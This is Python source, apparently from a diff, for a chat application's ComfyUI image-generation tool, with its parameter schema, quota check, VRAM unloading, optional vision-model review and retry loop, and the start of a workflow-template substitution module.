from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.services.images import comfy, workflow
|
||||
from lembas.services.llm.openai_client import Endpoint, LLMError, complete
|
||||
from lembas.services.tools import RISK_WRITE, ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What the reviewer is allowed to write back. It is one verdict and one line of
|
||||
# reason, and a model that writes an essay about a picture is a model whose
|
||||
# answer nobody reads.
|
||||
MAX_VERDICT_TOKENS = 200
|
||||
|
||||
# How long to wait for a connection to admit it has unloaded. Short: this is a
|
||||
# hint before a slow operation, and a machine that will not answer it is one
|
||||
# where the generation should go ahead anyway rather than fail.
|
||||
UNLOAD_TIMEOUT = 30.0
|
||||
|
||||
SCHEMA: dict[str, Any] = {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
# First, and the only required one, because `tools.parse_arguments`
|
||||
# puts the whole raw string into the first required parameter when a
|
||||
# model emits arguments that are not valid JSON. That failure is common
|
||||
# with small models, and this way it degrades into a prompt rather than
|
||||
# into a seed.
|
||||
"prompt": {
|
||||
"type": "string",
|
||||
"description": "What to draw. Describe the subject, the setting and the style.",
|
||||
},
|
||||
# Every description below says what the value *does to the picture* and
|
||||
# when to move it, not what it is called. A model that is told "cfg:
|
||||
# prompt adherence, default 8" has been told nothing it can act on, and
|
||||
# the observable result is a model that sends the prompt alone and
|
||||
# leaves ten parameters at their defaults for ever.
|
||||
"negative": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"Comma-separated things to keep OUT of the picture, as plain nouns and "
|
||||
"adjectives: 'blurry, extra fingers, text, watermark'. Not a sentence, "
|
||||
"and never phrased as an instruction — 'do not add text' puts *text* in "
|
||||
"the picture. Defaults to 'text, watermark'."
|
||||
),
|
||||
},
|
||||
"template": {
|
||||
"type": "string",
|
||||
"description": "Which workflow to use. Omit to use this chat's usual one.",
|
||||
},
|
||||
"model": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"Which checkpoint to draw with. Pick by what it is good at; omit to use "
|
||||
"this chat's usual one."
|
||||
),
|
||||
},
|
||||
"seed": {
|
||||
"type": "integer",
|
||||
"description": (
|
||||
"Omit it, or pass -1, for a new random image. Repeat a seed you were "
|
||||
"told about to get that same image again — which is how you change one "
|
||||
"thing about a picture and keep the rest."
|
||||
),
|
||||
},
|
||||
"steps": {
|
||||
"type": "integer",
|
||||
"description": (
|
||||
"How long to refine, 1-150. Default 20. Around 20-30 for most things; "
|
||||
"8-12 for a quick draft or when several are wanted; 40+ only for fine "
|
||||
"detail, and past about 50 it stops improving and only costs time."
|
||||
),
|
||||
},
|
||||
"cfg": {
|
||||
"type": "number",
|
||||
"description": (
|
||||
"How literally to follow the prompt, 0-30. Default 8. 3-6 gives the "
|
||||
"model room and looks more natural; 7-9 is the usual range; 12+ forces "
|
||||
"the words through and starts to look burnt and over-saturated. Lower "
|
||||
"it if the picture looks harsh, raise it if the subject is being "
|
||||
"ignored."
|
||||
),
|
||||
},
|
||||
"width": {
|
||||
"type": "integer",
|
||||
"description": (
|
||||
"Pixels, 64-2048, a multiple of 8. Default 512. Use the size the "
|
||||
"checkpoint was trained for — about 512 for SD1.5, about 1024 for SDXL "
|
||||
"— and change the ratio rather than the total: 512x768 for a portrait, "
|
||||
"768x512 for a landscape. Going far above what the checkpoint expects "
|
||||
"produces duplicated limbs and repeated horizons, not more detail."
|
||||
),
|
||||
},
|
||||
"height": {
|
||||
"type": "integer",
|
||||
"description": (
|
||||
"Pixels, 64-2048, a multiple of 8. Default 512. See width: the aspect "
|
||||
"ratio is the thing to choose, and taller than wide suits a person, "
|
||||
"wider than tall suits a place."
|
||||
),
|
||||
},
|
||||
"sampler": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"How the image is solved. Default euler. 'euler' is safe and fast; "
|
||||
"'dpmpp_2m' is a good general improvement; 'dpmpp_2m_sde' for more "
|
||||
"texture; 'ddim' for a clean flat look. Leave it out unless you have a "
|
||||
"reason."
|
||||
),
|
||||
},
|
||||
"scheduler": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"How the steps are spaced. Default normal. 'karras' pairs well with the "
|
||||
"dpmpp samplers and usually helps at low step counts; 'normal' "
|
||||
"otherwise. Leave it out unless you are also setting the sampler."
|
||||
),
|
||||
},
|
||||
"denoise": {
|
||||
"type": "number",
|
||||
"description": (
|
||||
"How much of the starting noise to replace, 0-1. Default 1, which is "
|
||||
"what you want for a picture drawn from nothing. Lower values only mean "
|
||||
"something for a workflow that starts from an existing image."
|
||||
),
|
||||
},
|
||||
},
|
||||
"required": ["prompt"],
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Attempt:
|
||||
"""One generated image and what was decided about it."""
|
||||
|
||||
number: int
|
||||
seed: int
|
||||
kept: bool
|
||||
verdict: str = ""
|
||||
|
||||
|
||||
def config_of(context: ToolContext) -> comfy.Config:
|
||||
"""The client snapshot, with the key decrypted at the last moment."""
|
||||
from lembas.services.crypto import decrypt
|
||||
|
||||
values = context.image_config or {}
|
||||
return comfy.Config(
|
||||
base_url=str(values.get("base_url") or ""),
|
||||
api_key=decrypt(str(values.get("api_key_encrypted") or "")),
|
||||
timeout=float(values.get("timeout") or comfy.DEFAULT_TIMEOUT),
|
||||
)
|
||||
|
||||
|
||||
def _choices(db, values: dict[str, Any]) -> tuple[list[Any], list[str]]:
|
||||
"""The templates and checkpoints on offer, for the schema and the harness."""
|
||||
from lembas.db.models import ImageWorkflow
|
||||
|
||||
rows = list(
|
||||
db.scalars(
|
||||
select(ImageWorkflow)
|
||||
.where(ImageWorkflow.enabled.is_(True))
|
||||
.order_by(ImageWorkflow.position, ImageWorkflow.slug)
|
||||
)
|
||||
)
|
||||
return rows, [str(name) for name in (values.get("checkpoints") or [])]
|
||||
|
||||
|
||||
_DEFAULT_SENTENCE = re.compile(r"Default ([^.,]+)([.,])")
|
||||
|
||||
|
||||
def _restate_defaults(schema: dict[str, Any], values: dict[str, Any]) -> None:
|
||||
"""Rewrite each "Default 20." to say what this instance actually uses.
|
||||
|
||||
Every one of those descriptions was written when there was one set of
|
||||
defaults in the world. Now an administrator can move them, and a schema
|
||||
still saying "Default 512" beside an instance that draws at 1024 is worse
|
||||
than saying nothing: the model reasons from it, decides 512 is fine for the
|
||||
SDXL checkpoint it was handed, and omits the parameter — arriving at the
|
||||
right behaviour for the wrong reason, or the wrong one silently.
|
||||
|
||||
A rewrite rather than a `{default}` placeholder in the prose, because the
|
||||
sentence around it differs per parameter and half of them go on to say what
|
||||
to do *instead* of the default. The regex keeps the punctuation it found,
|
||||
since `denoise` says "Default 1, which is…" and the rest use a full stop.
|
||||
"""
|
||||
resolved = workflow.resolve({}, settings=values)
|
||||
for name, spec in schema.get("properties", {}).items():
|
||||
if name not in resolved or name in ("prompt", "seed", "model", "template"):
|
||||
continue
|
||||
shown = resolved[name]
|
||||
# A float that is whole reads better as "8" than "8.0", and this is the
|
||||
# text a model reasons about.
|
||||
if isinstance(shown, float) and shown.is_integer():
|
||||
shown = int(shown)
|
||||
spec["description"] = _DEFAULT_SENTENCE.sub(
|
||||
# Bound now rather than closed over: `shown` is a loop variable, and
|
||||
# a lambda reading it later would restate every description with the
|
||||
# last parameter's value.
|
||||
lambda match, shown=shown: f"Default {shown}{match.group(2)}",
|
||||
spec["description"],
|
||||
count=1,
|
||||
)
|
||||
|
||||
|
||||
def schema_for(db, values: dict[str, Any]) -> dict[str, Any]:
|
||||
"""The parameter schema, with this instance's own choices in it.
|
||||
|
||||
`template` and `model` become enums because a name that does not exist is a
|
||||
refusal from ComfyUI and a wasted round; `sampler` and `scheduler` stay
|
||||
plain strings because there are forty-four and nine of them, and an enum
|
||||
that size costs tokens on every request forever to prevent a mistake worth
|
||||
one sentence of correction.
|
||||
"""
|
||||
rows, checkpoints = _choices(db, values)
|
||||
schema = json.loads(json.dumps(SCHEMA))
|
||||
_restate_defaults(schema, values)
|
||||
if rows:
|
||||
schema["properties"]["template"]["enum"] = [row.slug for row in rows]
|
||||
schema["properties"]["template"]["description"] = "Which workflow to use. " + "; ".join(
|
||||
f"{row.slug}: {row.description or row.name}" for row in rows[:12]
|
||||
)
|
||||
if checkpoints:
|
||||
schema["properties"]["model"]["enum"] = checkpoints
|
||||
return schema
|
||||
|
||||
|
||||
def tool_def(db, values: dict[str, Any]) -> ToolDef:
|
||||
return ToolDef(
|
||||
name="image_generate",
|
||||
family="image",
|
||||
description=(
|
||||
"Draw a picture from a description and show it to the person you are "
|
||||
"talking to. Returns once the image has been made and is on screen."
|
||||
),
|
||||
parameters=schema_for(db, values),
|
||||
run=run,
|
||||
# Not RISK_READ: it spends somebody's GPU for a minute and puts a new
|
||||
# artefact in the conversation. In an agent chat that means the mode
|
||||
# decides whether to ask first, which is the right answer for a call
|
||||
# that cannot be undone by reading something again.
|
||||
risk=RISK_WRITE,
|
||||
)
|
||||
|
||||
|
||||
# --- Preserve VRAM -------------------------------------------------------------
|
||||
async def _unload_llm(context: ToolContext) -> bool:
|
||||
"""Ask this chat's own endpoint to drop its model. Best-effort.
|
||||
|
||||
*This chat's own* is the whole of the design. The unload hook is a column on
|
||||
`Connection`, so a chat talking to a local llama-swap unloads that and a
|
||||
chat talking to a box on the network unloads nothing -- its VRAM is not the
|
||||
VRAM ComfyUI is about to want.
|
||||
"""
|
||||
from lembas.db.models import Connection
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
url = ""
|
||||
method = "POST"
|
||||
try:
|
||||
with session_scope() as db:
|
||||
connection = db.get(Connection, context.connection_id)
|
||||
if connection is not None:
|
||||
url = (connection.unload_url or "").strip()
|
||||
method = (connection.unload_method or "POST").upper()
|
||||
except Exception: # noqa: BLE001 - a hint that could not be looked up is not a failure
|
||||
log.debug("could not read the unload hook", exc_info=True)
|
||||
return False
|
||||
|
||||
if not url:
|
||||
return False
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=UNLOAD_TIMEOUT) as client:
|
||||
await client.request(method, url)
|
||||
return True
|
||||
except Exception: # noqa: BLE001 - see the module docstring: a hint, not a step
|
||||
log.info("could not unload the model at %s", url, exc_info=True)
|
||||
return False
|
||||
|
||||
|
||||
# --- The reviewer --------------------------------------------------------------
|
||||
def _reviewer(context: ToolContext) -> tuple[Endpoint, str] | None:
|
||||
"""The model that judges an image, or None if there is nobody to ask.
|
||||
|
||||
The admin's choice first, then the chat's own model when it has vision. A
|
||||
chat on a text-only model with no reviewer configured simply keeps the first
|
||||
image, which is the behaviour with review switched off -- said here rather
|
||||
than failing, because "you asked for a picture and got an error about
|
||||
vision" is a worse answer than a picture.
|
||||
"""
|
||||
from lembas.db.models import Connection, Model
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
values = context.image_config or {}
|
||||
if not values.get("review_enabled"):
|
||||
return None
|
||||
|
||||
wanted = str(values.get("review_model_id") or "")
|
||||
try:
|
||||
with session_scope() as db:
|
||||
model = None
|
||||
if wanted:
|
||||
model = db.get(Model, wanted)
|
||||
if model is None and context.model_id:
|
||||
model = db.scalar(
|
||||
select(Model).where(
|
||||
Model.model_id == context.model_id,
|
||||
Model.connection_id == context.connection_id,
|
||||
)
|
||||
)
|
||||
if model is None or not (model.capabilities_json or {}).get("vision"):
|
||||
return None
|
||||
connection = db.get(Connection, model.connection_id)
|
||||
if connection is None or not connection.enabled:
|
||||
return None
|
||||
return Endpoint.from_connection(connection), model.model_id
|
||||
except Exception: # noqa: BLE001 - no reviewer is a degraded mode, not an error
|
||||
log.warning("could not resolve an image reviewer", exc_info=True)
|
||||
return None
|
||||
|
||||
|
||||
async def _review(
|
||||
context: ToolContext, endpoint: Endpoint, model_id: str, prompt: str, payload: bytes
|
||||
) -> tuple[bool, str]:
|
||||
"""Show the reviewer the image and ask whether to keep it.
|
||||
|
||||
Answers `(keep, reason)`. **Anything that goes wrong is a keep**: the
|
||||
reviewer is a second opinion on a picture that already exists, and losing an
|
||||
image because a judging request timed out would be the check destroying the
|
||||
thing it was checking.
|
||||
"""
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
preview = files_service.preview_data_uri(payload, max_edge=768)
|
||||
if preview is None:
|
||||
return True, ""
|
||||
|
||||
with session_scope() as db:
|
||||
instruction = prompts_service.resolve(db, "task.image_review")
|
||||
# An administrator who cleared the fragment has switched reviewing off, the
|
||||
# same way clearing `task.compact` switches compaction off. Nothing is asked
|
||||
# of anyone and the image is kept.
|
||||
if not instruction.strip():
|
||||
return True, ""
|
||||
|
||||
body = {
|
||||
"model": model_id,
|
||||
"messages": [
|
||||
{"role": "system", "content": instruction},
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": f"The request was: {prompt}"},
|
||||
{"type": "image_url", "image_url": {"url": preview}},
|
||||
],
|
||||
},
|
||||
],
|
||||
"max_tokens": MAX_VERDICT_TOKENS,
|
||||
"temperature": 0,
|
||||
}
|
||||
try:
|
||||
answer = (await complete(endpoint, body)).strip()
|
||||
except LLMError as exc:
|
||||
log.info("could not review a generated image: %s", exc.message)
|
||||
return True, ""
|
||||
|
||||
verdict, _, reason = answer.partition("\n")
|
||||
keep = not verdict.strip().upper().startswith("RETRY")
|
||||
return keep, (reason or verdict).strip()[:300]
|
||||
|
||||
|
||||
# --- The runner ----------------------------------------------------------------
|
||||
def _over_quota(context: ToolContext) -> str:
|
||||
"""Why this account may not draw another picture today, or "".
|
||||
|
||||
Its own session, opened and closed before anything else: this runs before a
|
||||
request that takes a minute, and holding a session across one is the trade
|
||||
every long call in this codebase already refuses.
|
||||
"""
|
||||
from lembas.db.models import User
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import usage as usage_service
|
||||
|
||||
if not context.owner_id:
|
||||
return ""
|
||||
with session_scope() as db:
|
||||
return usage_service.over_image_budget(db, db.get(User, context.owner_id))
|
||||
|
||||
|
||||
async def run(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Generate one image, review it if there is anybody to ask, and keep one."""
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import files as files_service
|
||||
|
||||
event: dict[str, Any] = {
|
||||
"name": "image_generate",
|
||||
"kind": "image",
|
||||
"query": str(args.get("prompt") or "")[:200],
|
||||
"results": [],
|
||||
}
|
||||
|
||||
prompt = str(args.get("prompt") or "").strip()
|
||||
if not prompt:
|
||||
return ToolOutcome(
|
||||
"No prompt was given, so nothing was drawn. Say what the picture should show.",
|
||||
{**event, "status": "error", "error": "No prompt."},
|
||||
)
|
||||
if not context.chat_id:
|
||||
return ToolOutcome(
|
||||
"Images can only be generated inside a chat.",
|
||||
{**event, "status": "error", "error": "No chat."},
|
||||
)
|
||||
|
||||
# Before a minute of somebody's GPU is spent. Its own quota because it is
|
||||
# its own cost: a picture is no tokens at all, so a token budget says
|
||||
# nothing about how many of them one account may make.
|
||||
over = _over_quota(context)
|
||||
if over:
|
||||
return ToolOutcome(over, {**event, "status": "error", "error": over})
|
||||
|
||||
values = context.image_config or {}
|
||||
config = config_of(context)
|
||||
if not config.configured:
|
||||
return ToolOutcome(
|
||||
"No image generator is configured on this instance.",
|
||||
{**event, "status": "error", "error": "No ComfyUI configured."},
|
||||
)
|
||||
|
||||
# Resolve the template and the checkpoint: what the model asked for, then
|
||||
# this chat's usual, then the instance default. Every rung is a preference
|
||||
# and none of them is a constraint, which is what lets a model that only
|
||||
# wrote a prompt still get a picture.
|
||||
try:
|
||||
with session_scope() as db:
|
||||
rows, checkpoints = _choices(db, values)
|
||||
wanted = str(args.get("template") or "")
|
||||
chosen = _pick(rows, wanted, context.image_workflow_id, values)
|
||||
if chosen is None:
|
||||
return ToolOutcome(
|
||||
"No image workflow has been set up on this instance.",
|
||||
{**event, "status": "error", "error": "No workflow."},
|
||||
)
|
||||
template = json.loads(json.dumps(chosen.workflow_json or {}))
|
||||
template_slug, template_name = chosen.slug, chosen.name
|
||||
except ToolOutcome: # pragma: no cover - defensive
|
||||
raise
|
||||
except Exception as exc: # noqa: BLE001
|
||||
log.exception("could not resolve an image workflow")
|
||||
return ToolOutcome(
|
||||
f"The image workflow could not be read: {exc}",
|
||||
{**event, "status": "error", "error": str(exc)},
|
||||
)
|
||||
|
||||
checkpoint = _checkpoint(
|
||||
str(args.get("model") or ""),
|
||||
context.image_checkpoint,
|
||||
checkpoints,
|
||||
instance_default=str(values.get("default_checkpoint") or ""),
|
||||
)
|
||||
if checkpoint is None:
|
||||
return ToolOutcome(
|
||||
"No checkpoint is available. An administrator has to list them on the "
|
||||
"image generation page.",
|
||||
{**event, "status": "error", "error": "No checkpoint."},
|
||||
)
|
||||
|
||||
given = {name: args.get(name) for name in workflow.MODEL_SETTABLE if name in args}
|
||||
given["model"] = checkpoint
|
||||
given["prompt"] = prompt
|
||||
|
||||
reviewer = _reviewer(context)
|
||||
tries = int(values.get("max_tries") or 1) if reviewer else 1
|
||||
preserve = bool(values.get("preserve_vram"))
|
||||
|
||||
attempts: list[Attempt] = []
|
||||
kept: tuple[bytes, dict[str, Any]] | None = None
|
||||
# What the last attempt actually asked for, so a failure can name concrete
|
||||
# numbers back at the model rather than saying "try something smaller".
|
||||
params_used: dict[str, Any] = workflow.resolve(given, settings=values)
|
||||
|
||||
try:
|
||||
for number in range(1, tries + 1):
|
||||
if preserve:
|
||||
await _unload_llm(context)
|
||||
|
||||
params = workflow.resolve(
|
||||
{**given, "seed": args.get("seed") if number == 1 else None}, settings=values
|
||||
)
|
||||
params_used = params
|
||||
refs = await comfy.await_images(
|
||||
config, await comfy.submit(config, workflow.fill(template, params))
|
||||
)
|
||||
if not refs:
|
||||
raise comfy.ComfyError("ComfyUI finished but saved no image.")
|
||||
payload = await comfy.fetch_image(config, refs[0])
|
||||
|
||||
if preserve:
|
||||
await comfy.free(config)
|
||||
|
||||
if reviewer is None:
|
||||
attempts.append(Attempt(number, params["seed"], kept=True))
|
||||
kept = (payload, params)
|
||||
break
|
||||
|
||||
endpoint, model_id = reviewer
|
||||
keep, reason = await _review(context, endpoint, model_id, prompt, payload)
|
||||
last = number == tries
|
||||
attempts.append(Attempt(number, params["seed"], kept=keep or last, verdict=reason))
|
||||
if keep or last:
|
||||
kept = (payload, params)
|
||||
break
|
||||
except comfy.ComfyError as exc:
|
||||
if preserve:
|
||||
# It failed *inside* the far side, so its models are still resident
|
||||
# and the language model is still unloaded. Freeing here is what
|
||||
# lets the reply carry on and say what happened.
|
||||
await comfy.free(config)
|
||||
return ToolOutcome(
|
||||
f"The image could not be generated: {exc.message}{_advice(exc, params_used)}",
|
||||
{**event, "status": "error", "error": exc.message},
|
||||
)
|
||||
|
||||
if preserve:
|
||||
await comfy.free(config)
|
||||
if kept is None: # pragma: no cover - the loop always keeps its last attempt
|
||||
return ToolOutcome(
|
||||
"Nothing was generated.", {**event, "status": "error", "error": "No image."}
|
||||
)
|
||||
|
||||
payload, params = kept
|
||||
try:
|
||||
with session_scope() as db:
|
||||
attachment = files_service.store(
|
||||
db,
|
||||
user_id=context.owner_id,
|
||||
chat_id=context.chat_id,
|
||||
payload=payload,
|
||||
filename=f"{template_slug}-{params['seed']}.png",
|
||||
# What ComfyUI made, at the size it made it. See `_keep_image`.
|
||||
keep_original=True,
|
||||
source_label="Image generation",
|
||||
source_path=f"{checkpoint} · seed {params['seed']}",
|
||||
)
|
||||
attachment_id = attachment.id
|
||||
width, height = attachment.width, attachment.height
|
||||
except Exception as exc: # noqa: BLE001
|
||||
log.exception("could not store a generated image")
|
||||
return ToolOutcome(
|
||||
f"The image was generated but could not be saved: {exc}",
|
||||
{**event, "status": "error", "error": str(exc)},
|
||||
)
|
||||
|
||||
return ToolOutcome(
|
||||
_describe(prompt, template_name, checkpoint, params, attempts),
|
||||
{
|
||||
**event,
|
||||
"status": "ok",
|
||||
"detail": f"{template_name} · {checkpoint}",
|
||||
"text": _transcript(params, attempts),
|
||||
# Bound to the reply by `generation._persist`, the single writer. A
|
||||
# runner may create the row; only the loop may say which turn owns
|
||||
# it.
|
||||
"attachment_id": attachment_id,
|
||||
"image": {"id": attachment_id, "width": width, "height": height},
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _advice(exc: comfy.ComfyError, params: dict[str, Any]) -> str:
|
||||
"""What to do about a failure, when there is something to do about it.
|
||||
|
||||
Only for the two that have an obvious next move. Everything else gets the
|
||||
reason and nothing else -- a model told to "try again" after a broken
|
||||
workflow will try the identical thing, and a suggestion invented for a
|
||||
failure nobody understands is a guess wearing the application's authority.
|
||||
|
||||
The numbers are concrete on purpose. "Use a lower resolution" against a
|
||||
request that was already 512x512 is advice that cannot be followed, so the
|
||||
halved size is worked out here where the request is known.
|
||||
"""
|
||||
if isinstance(exc, comfy.Interrupted):
|
||||
return (
|
||||
" Somebody stopped it deliberately, so do not simply start it again — say so and ask."
|
||||
)
|
||||
if not isinstance(exc, comfy.OutOfMemory):
|
||||
return ""
|
||||
|
||||
width, height = int(params.get("width") or 512), int(params.get("height") or 512)
|
||||
smaller = f"{max(256, width // 2)}x{max(256, height // 2)}"
|
||||
return (
|
||||
f" Try once more at a smaller size — {smaller} instead of {width}x{height} — "
|
||||
"or with a lighter checkpoint if one is offered. Do not repeat the same "
|
||||
"request unchanged; it will run out of memory again."
|
||||
)
|
||||
|
||||
|
||||
def _pick(rows: list[Any], wanted: str, chat_default: str, values: dict[str, Any]) -> Any:
|
||||
"""The workflow to use: asked for, then the chat's, then the instance's."""
|
||||
by_slug = {row.slug: row for row in rows}
|
||||
if wanted and wanted in by_slug:
|
||||
return by_slug[wanted]
|
||||
by_id = {row.id: row for row in rows}
|
||||
if chat_default and chat_default in by_id:
|
||||
return by_id[chat_default]
|
||||
fallback = str(values.get("default_workflow_id") or "")
|
||||
if fallback and fallback in by_id:
|
||||
return by_id[fallback]
|
||||
return rows[0] if rows else None
|
||||
|
||||
|
||||
def _checkpoint(
|
||||
wanted: str, chat_default: str, available: list[str], *, instance_default: str = ""
|
||||
) -> str | None:
|
||||
"""The checkpoint to draw with, on the same ladder.
|
||||
|
||||
Most specific first: what the model named, then this chat's own, then the
|
||||
instance default, then whatever is first in the list. The instance rung is
|
||||
the new one -- without it, "the default" was position zero in a textarea an
|
||||
administrator had typed in some order, which is a default by accident.
|
||||
|
||||
A name the instance does not have is ignored at every rung rather than
|
||||
passed through: it would reach ComfyUI, be refused, and cost a round to
|
||||
discover -- and the model was shown the list it may choose from.
|
||||
"""
|
||||
if wanted and wanted in available:
|
||||
return wanted
|
||||
if chat_default and chat_default in available:
|
||||
return chat_default
|
||||
if instance_default and instance_default in available:
|
||||
return instance_default
|
||||
return available[0] if available else None
|
||||
|
||||
|
||||
def _describe(
|
||||
prompt: str, template: str, checkpoint: str, params: dict[str, Any], attempts: list[Attempt]
|
||||
) -> str:
|
||||
"""What the model reads back.
|
||||
|
||||
It is told the image is already on screen, because otherwise the commonest
|
||||
next thing it does is offer to show it -- and there is nothing it could do
|
||||
to comply.
|
||||
"""
|
||||
lines = [
|
||||
"The image has been generated and is shown to them. It is not a link and "
|
||||
"needs no further action.",
|
||||
f"Prompt: {prompt}",
|
||||
f"Template {template}, checkpoint {checkpoint}, "
|
||||
f"{params['width']}x{params['height']}, seed {params['seed']}, "
|
||||
f"{params['steps']} steps, cfg {params['cfg']}.",
|
||||
]
|
||||
if len(attempts) > 1:
|
||||
rejected = [a for a in attempts if not a.kept]
|
||||
lines.append(
|
||||
f"It took {len(attempts)} attempts; the earlier ones were rejected on review "
|
||||
f"({'; '.join(a.verdict for a in rejected if a.verdict) or 'no reason given'})."
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def _transcript(params: dict[str, Any], attempts: list[Attempt]) -> str:
|
||||
"""What the reader sees when they open the tool block.
|
||||
|
||||
The rejected attempts are recorded here and their images are not kept. A
|
||||
transcript full of pictures somebody's model decided against is noise, and
|
||||
the disk they would occupy buys nothing -- what is worth knowing is that it
|
||||
took three goes and why the first two did not do.
|
||||
"""
|
||||
lines = [
|
||||
f"seed {params['seed']} · {params['steps']} steps · cfg {params['cfg']} · "
|
||||
f"{params['sampler']}/{params['scheduler']} · denoise {params['denoise']}"
|
||||
]
|
||||
if len(attempts) > 1:
|
||||
lines.append("")
|
||||
for attempt in attempts:
|
||||
state = "kept" if attempt.kept else "rejected"
|
||||
reason = f" — {attempt.verdict}" if attempt.verdict else ""
|
||||
lines.append(f"Attempt {attempt.number} (seed {attempt.seed}): {state}{reason}")
|
||||
return "\n".join(lines)
|
||||
@@ -1,257 +0,0 @@
|
||||
"""Turning a stored template and a model's arguments into a ComfyUI workflow.
|
||||
|
||||
A template is an API-format workflow with `{{placeholders}}` where the values
|
||||
go. Which node holds the prompt is therefore the administrator's statement
|
||||
rather than something guessed from node types -- sniffing for the first
|
||||
`CLIPTextEncode` works on the shipped template and on nothing else, and gets
|
||||
positive and negative the wrong way round the first time somebody reorders them.
|
||||
|
||||
**Substitution walks the parsed JSON, not the text of it.** A value that is
|
||||
*exactly* `"{{steps}}"` is replaced by the number 20, not by the string "20";
|
||||
ComfyUI validates types and refuses the second. A placeholder inside a longer
|
||||
string still substitutes as text, which is what makes
|
||||
`"{{prompt}}, masterpiece"` work. Doing it textually would also mean a prompt
|
||||
containing a quotation mark produced a document that no longer parses, on the
|
||||
one input guaranteed to contain arbitrary text.
|
||||
|
||||
The names are the tool's parameter names, so there is one vocabulary: what a
|
||||
model may set, what the admin page documents and what a template may reference
|
||||
cannot drift apart.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import secrets
|
||||
from typing import Any
|
||||
|
||||
# Every hole a template may carry. A name outside this set is left alone, the
|
||||
# same rule `prompts.substitute` follows -- a literal `{{x}}` is not a feature,
|
||||
# but silently deleting one is worse than leaving it visible.
|
||||
PLACEHOLDERS = (
|
||||
"model",
|
||||
"prompt",
|
||||
"negative",
|
||||
"seed",
|
||||
"steps",
|
||||
"cfg",
|
||||
"width",
|
||||
"height",
|
||||
"sampler",
|
||||
"scheduler",
|
||||
"denoise",
|
||||
# How many pictures one run produces. Late to the list, and the reason is
|
||||
# worth stating: `batch_size` was a literal `1` in the base template, so an
|
||||
# administrator whose card can comfortably make four at a time had no way of
|
||||
# saying so short of editing the JSON. Not a tool parameter -- a model asking
|
||||
# for six images because it is unsure is exactly the cost this should not
|
||||
# invite -- so it fills from the instance default and nowhere else.
|
||||
"batch",
|
||||
)
|
||||
|
||||
# What a model may name. Everything else in `PLACEHOLDERS` fills from a default.
|
||||
MODEL_SETTABLE = tuple(name for name in PLACEHOLDERS if name != "batch")
|
||||
|
||||
# The floor, taken from the base template. An instance's own defaults sit above
|
||||
# this (see `resolve`), and this stays as the last resort so a fresh install
|
||||
# behaves exactly as it always did.
|
||||
#
|
||||
# `seed` is deliberately absent: it has no fixed default, because one would make
|
||||
# every generation that did not name a seed identical -- and would make the
|
||||
# retry loop produce the same rejected image four times over.
|
||||
DEFAULTS: dict[str, Any] = {
|
||||
"negative": "text, watermark",
|
||||
"steps": 20,
|
||||
"cfg": 8.0,
|
||||
"width": 512,
|
||||
"height": 512,
|
||||
"sampler": "euler",
|
||||
"scheduler": "normal",
|
||||
"denoise": 1.0,
|
||||
"batch": 1,
|
||||
}
|
||||
|
||||
# What each hole is for, and what it lands as. Read by the workflow editor, so
|
||||
# somebody writing a template is told what `{{sampler}}` fills without reading
|
||||
# this file -- and in particular is told the two names that do not match
|
||||
# ComfyUI's own, which is the mistake that costs an afternoon.
|
||||
DESCRIPTIONS: dict[str, tuple[str, str]] = {
|
||||
"model": ("text", "The checkpoint. Fills ComfyUI's `ckpt_name`, not `model`."),
|
||||
"prompt": ("text", "What to draw. The only value a model must supply."),
|
||||
"negative": ("text", "What to keep out of the picture."),
|
||||
"seed": ("number", "The noise seed. Absent or negative means a fresh random one."),
|
||||
"steps": ("number", "How many denoising steps. More is slower, not always better."),
|
||||
"cfg": ("number", "How closely to follow the prompt. A decimal."),
|
||||
"width": ("number", "Pixels across. A multiple of 64."),
|
||||
"height": ("number", "Pixels down. A multiple of 64."),
|
||||
"sampler": ("text", "The sampling method. Fills ComfyUI's `sampler_name`, not `sampler`."),
|
||||
"scheduler": ("text", "The noise schedule."),
|
||||
"denoise": ("number", "How much of the latent to redraw. 1.0 for text-to-image."),
|
||||
"batch": ("number", "How many images one run makes. Fills `batch_size`."),
|
||||
}
|
||||
|
||||
# ComfyUI's own ranges, read off `/object_info`. Clamped rather than refused: a
|
||||
# model that asks for 300 steps has misjudged rather than misbehaved, and one
|
||||
# clarifying round to say so is worse than doing the sensible thing.
|
||||
LIMITS: dict[str, tuple[float, float]] = {
|
||||
"steps": (1, 150),
|
||||
"cfg": (0.0, 30.0),
|
||||
"width": (64, 2048),
|
||||
"height": (64, 2048),
|
||||
"denoise": (0.0, 1.0),
|
||||
# Not ComfyUI's ceiling, which is 4096, but a sane one: this multiplies
|
||||
# every generation's time and VRAM, and an administrator who wants more than
|
||||
# eight at once wants a different workflow rather than a bigger number here.
|
||||
"batch": (1, 8),
|
||||
}
|
||||
|
||||
# ComfyUI's seed is a uint64. Generated here rather than left to the far side
|
||||
# so the value can be reported back -- "it looked like this and here is how to
|
||||
# get it again" is most of what a seed is for.
|
||||
MAX_SEED = 2**64 - 1
|
||||
|
||||
_PLACEHOLDER = re.compile(r"\{\{\s*([a-z][a-z0-9_]*)\s*\}\}")
|
||||
|
||||
|
||||
def random_seed() -> int:
|
||||
return secrets.randbelow(MAX_SEED)
|
||||
|
||||
|
||||
def instance_defaults(values: dict[str, Any] | None) -> dict[str, Any]:
|
||||
